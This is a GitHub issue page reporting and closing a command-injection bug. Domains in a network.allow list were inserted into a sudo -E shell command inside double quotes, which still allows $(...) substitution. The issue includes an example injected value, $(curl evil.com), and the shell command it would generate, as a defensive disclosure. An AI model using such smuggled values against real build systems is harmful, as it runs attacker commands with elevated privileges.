Skip to content

fix: reject $ in network.allow domains to prevent command substitution in AWF invocation #177

@jamesadevine

Description

@jamesadevine

Problem

The template fix for Finding 4 (#171) wraps {{ allowed_domains }} in double quotes in base.yml, but bash double-quoted strings still expand $(...) and ${...}. A user who adds $(curl evil.com) to network.allow will pass compilation and generate:

sudo -E ".../awf" \
  --allow-domains "github.com,$(curl evil.com),other.com"

That command substitution executes on the runner with sudo -E.

Fix Applied

generate_allowed_domains now validates domains against strict DNS characters ([A-Za-z0-9.*-]) and returns a hard error for invalid characters. Changed from warn-and-skip to bail!.

Fixed in #175.

Related

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingsecurity

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions